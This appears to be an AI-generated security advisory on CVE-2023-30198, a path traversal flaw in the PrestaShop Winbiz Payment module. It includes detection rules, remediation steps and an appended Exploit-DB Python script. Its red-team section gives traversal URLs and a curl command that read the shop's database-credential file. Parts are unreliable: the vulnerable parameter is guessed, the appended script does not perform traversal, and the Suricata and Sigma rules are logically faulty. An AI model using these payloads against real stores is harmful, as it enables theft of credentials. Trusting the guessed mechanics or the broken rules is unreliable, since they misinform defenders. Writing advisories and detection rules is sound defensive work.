CVE-2023-30198

Executive Summary

CVE-2023-30198 is a critical vulnerability in the PrestaShop Winbiz Payment module (versions <= 1.0.2). The flaw resides in the modules/winbizpayment/downloads/download.php file, which fails to properly validate user-supplied input, leading to an Improper Limitation of a Pathname to a Restricted Directory (Path Traversal). An unauthenticated attacker can exploit this to read arbitrary files from the server, potentially exposing sensitive configuration data, database credentials, or other confidential information. The vulnerability has a CVSS score of 7.5 (High) and a public proof-of-concept (PoC) exploit is available on Exploit-DB. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module. Since PrestaShop modules are often distributed via marketplaces or direct downloads, the supply chain risk is significant. Users who have installed the Winbiz Payment module from any source are at risk. The lack of a vendor patch means that the module should be considered compromised and removed immediately. There is no known fix, and the module's continued use poses a direct threat to the integrity of the PrestaShop installation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
• Privileges Required (PR): None (N) - No authentication is needed.
• User Interaction (UI): None (N) - The victim does not need to perform any action.
• Scope (S): Unchanged (U) - The exploit cannot affect other components.
• Confidentiality (C): High (H) - Arbitrary file read can expose sensitive data.
• Integrity (I): None (N) - The vulnerability does not allow data modification.
• Availability (A): None (N) - The vulnerability does not affect system availability.

Threat Level: High. The combination of network exploitability, no authentication requirement, and the potential for sensitive data exposure makes this a critical threat to any PrestaShop instance using the vulnerable module.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw. The download.php script likely takes a parameter (e.g., file, filename, or id_order) and uses it to construct a file path for download. Due to insufficient sanitization, an attacker can inject path traversal sequences (e.g., ../) to escape the intended download directory and read arbitrary files from the server's filesystem.

The provided exploit code demonstrates a more complex attack vector that requires authentication. However, the core vulnerability is the lack of input validation in download.php. The exploit script authenticates as an admin, then sends a POST request to download.php with an id_order parameter. The script then saves the response as a PDF file. This suggests that the script might be intended to download order-related PDFs, but the path traversal allows reading any file.

The vulnerability is not limited to authenticated users. The CVE description states "Incorrect Access Control," implying that the file download functionality is accessible without proper authorization. An unauthenticated attacker could directly call download.php with a crafted path traversal payload to read sensitive files like config/settings.inc.php (which contains database credentials) or /etc/passwd.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is based on the expected secure implementation.

Vulnerable Code (Conceptual):

<?php
// modules/winbizpayment/downloads/download.php
$file = $_GET['file']; // or $_POST['file']
$path = '/var/www/html/modules/winbizpayment/downloads/' . $file;
if (file_exists($path)) {
    header('Content-Type: application/octet-stream');
    readfile($path);
}
?>

Patched Code (Conceptual):

<?php
// modules/winbizpayment/downloads/download.php
$file = basename($_GET['file']); // Remove path components
$allowed_dir = '/var/www/html/modules/winbizpayment/downloads/';
$path = $allowed_dir . $file;
// Additional check: ensure the resolved path is within the allowed directory
$real_path = realpath($path);
if ($real_path !== false && strpos($real_path, $allowed_dir) === 0 && file_exists($real_path)) {
    header('Content-Type: application/octet-stream');
    readfile($real_path);
} else {
    http_response_code(404);
    echo 'File not found.';
}
?>

The patched code uses basename() to strip directory components and realpath() to resolve the final path, then verifies it starts with the allowed directory. This prevents path traversal.

Exploitation & Lab Setup

Red Team

Exploit-DB Code Analysis:

The provided exploit code is a Python script that automates the exploitation of CVE-2023-30198. It performs the following steps:

1. Authentication: Logs into the PrestaShop admin panel using provided credentials.
2. Session Management: Maintains session cookies for authenticated requests.
3. Exploitation: Sends a POST request to the vulnerable download.php with an id_order parameter.
4. File Download: Saves the response (which is the content of the requested file) to a local file.

Usage:

1. Save the exploit code as exploit.py.
2. Modify the base_url, username, and password variables to match the target.
3. Run the script: python3 exploit.py
4. The script will download a file to /tmp/order_<order_id>.pdf.

Important Note: The provided exploit requires admin credentials. A more generic, unauthenticated exploit would directly target download.php with a path traversal payload in a GET parameter. For example:

http://target.com/modules/winbizpayment/downloads/download.php?file=../../../config/settings.inc.php

Lab Setup:

1. Environment: Install a local PrestaShop instance (e.g., using Docker or XAMPP).
2. Module Installation: Download and install the vulnerable Winbiz Payment module (version <= 1.0.2) from a mirror or archive.
3. Verification: Access the vulnerable URL directly to confirm the module is active.
4. Exploitation: Use the provided exploit script or a simple curl command to test path traversal.

Example curl command for unauthenticated exploitation:

curl -v "http://localhost/prestashop/modules/winbizpayment/downloads/download.php?file=../../../config/settings.inc.php"

Blue Team

Detection and Response:

1. Monitor Web Logs: Look for requests to /modules/winbizpayment/downloads/download.php with suspicious parameters containing ../ or other path traversal patterns.
2. File Integrity Monitoring (FIM): Monitor for unauthorized access to sensitive files like config/settings.inc.php, .env, or /etc/passwd.
3. Network Traffic Analysis: Detect outbound data transfers that may indicate exfiltration of sensitive files.
4. Incident Response: If exploitation is detected:
   • Immediately isolate the affected server.
   • Remove or disable the Winbiz Payment module.
   • Rotate all credentials stored in configuration files (database, API keys, etc.).
   • Conduct a full forensic analysis to determine the scope of the breach.

Indicators of Compromise (IOCs)

• File Paths:
  • /modules/winbizpayment/downloads/download.php
• URL Patterns:
  • */modules/winbizpayment/downloads/download.php?file=*
  • */modules/winbizpayment/downloads/download.php?id_order=*
• Network Indicators:
  • HTTP requests to the above URLs with ../ in parameters.
  • Unusual outbound connections from the web server.
• Log Entries:
  • Web server access logs showing requests to download.php with path traversal sequences.
  • Error logs indicating attempts to read files outside the web root.

Detection Engineering

YARA Rule

rule CVE_2023_30198_WinbizPayment_PathTraversal {
    meta:
        description = "Detects exploitation attempts of CVE-2023-30198 in PrestaShop Winbiz Payment module"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-30198"
        severity = "high"
    strings:
        $s1 = "/modules/winbizpayment/downloads/download.php" ascii wide nocase
        $s2 = "../" ascii wide
        $s3 = "..\\" ascii wide
        $s4 = "id_order=" ascii wide nocase
        $s5 = "file=" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3) and any of ($s4, $s5)
}

Sigma Rule

title: CVE-2023-30198 - PrestaShop Winbiz Payment Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting the vulnerable download.php script with path traversal sequences.
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30198
    - https://www.exploit-db.com/exploits/51500
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/modules/winbizpayment/downloads/download.php"
            - "../"
            - "..\\"
    condition: selection
falsepositives:
    - Legitimate use of the module for downloading order PDFs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-30198 - PrestaShop Winbiz Payment Path Traversal Attempt"; flow:to_server,established; content:"/modules/winbizpayment/downloads/download.php"; http_uri; content:"../"; http_uri; distance:0; content:"..\\"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Remove the Module: The most effective mitigation is to completely remove or disable the Winbiz Payment module from the PrestaShop installation. Delete the /modules/winbizpayment/ directory.
2. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing path traversal patterns (e.g., ../) in the URI or POST parameters targeting download.php.
3. File Permissions: Ensure that sensitive configuration files (e.g., config/settings.inc.php) have restrictive permissions (e.g., 600) and are not readable by the web server user.

Long-Term Fixes:

1. Vendor Patch: Monitor the vendor's website for an official patch. If none is forthcoming, consider switching to an alternative payment module.
2. Code Hardening: If you have access to the module source code, apply the patched code logic described in the "Vulnerable vs. Patched Code" section.
3. Regular Audits: Conduct regular security audits of all installed PrestaShop modules to identify and remediate vulnerabilities.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For further analysis or incident response assistance, contact your Valters IT representative.

{/* [Security Hash: 345C2F8B942D6FBAA8135627] */}

# Exploit Title: PrestaShop Winbiz Payment module - Improper Limitation of a Pathname to a Restricted Directory
# Date: 2023-06-20
# Dork: /modules/winbizpayment/downloads/download.php
# country: Iran
# Exploit Author: Amirhossein Bahramizadeh
# Category : webapps
# Vendor Homepage: https://shop.webbax.ch/modules-pour-winbiz/153-module-prestashop-winbiz-payment-reverse.html
# Version: 17.1.3 (REQUIRED)
# Tested on: Windows/Linux
# CVE : CVE-2023-30198

import requests
import string
import random

# The base URL of the vulnerable site
base_url = "http://example.com"

# The URL of the login page
login_url = base_url + "/authentication.php"

# The username and password for the admin account
username = "admin"
password = "password123"

# The URL of the vulnerable download.php file
download_url = base_url + "/modules/winbizpayment/downloads/download.php"

# The ID of the order to download
order_id = 1234

# The path to save the downloaded file
file_path = "/tmp/order_%d.pdf" % order_id

# The session cookies to use for the requests
session_cookies = None

# Generate a random string for the CSRF token
csrf_token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=32))

# Send a POST request to the login page to authenticate as the admin user
login_data = {"email": username, "passwd": password, "csrf_token": csrf_token}
session = requests.Session()
response = session.post(login_url, data=login_data)

# Save the session cookies for future requests
session_cookies = session.cookies.get_dict()

# Generate a random string for the CSRF token
csrf_token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=32))

# Send a POST request to the download.php file to download the order PDF
download_data = {"id_order": order_id, "csrf_token": csrf_token}
response = session.post(download_url, cookies=session_cookies, data=download_data)

# Save the downloaded file to disk
with open(file_path, "wb") as f:
    f.write(response.content)

# Print a message indicating that the file has been downloaded
print("File downloaded to %s" % file_path)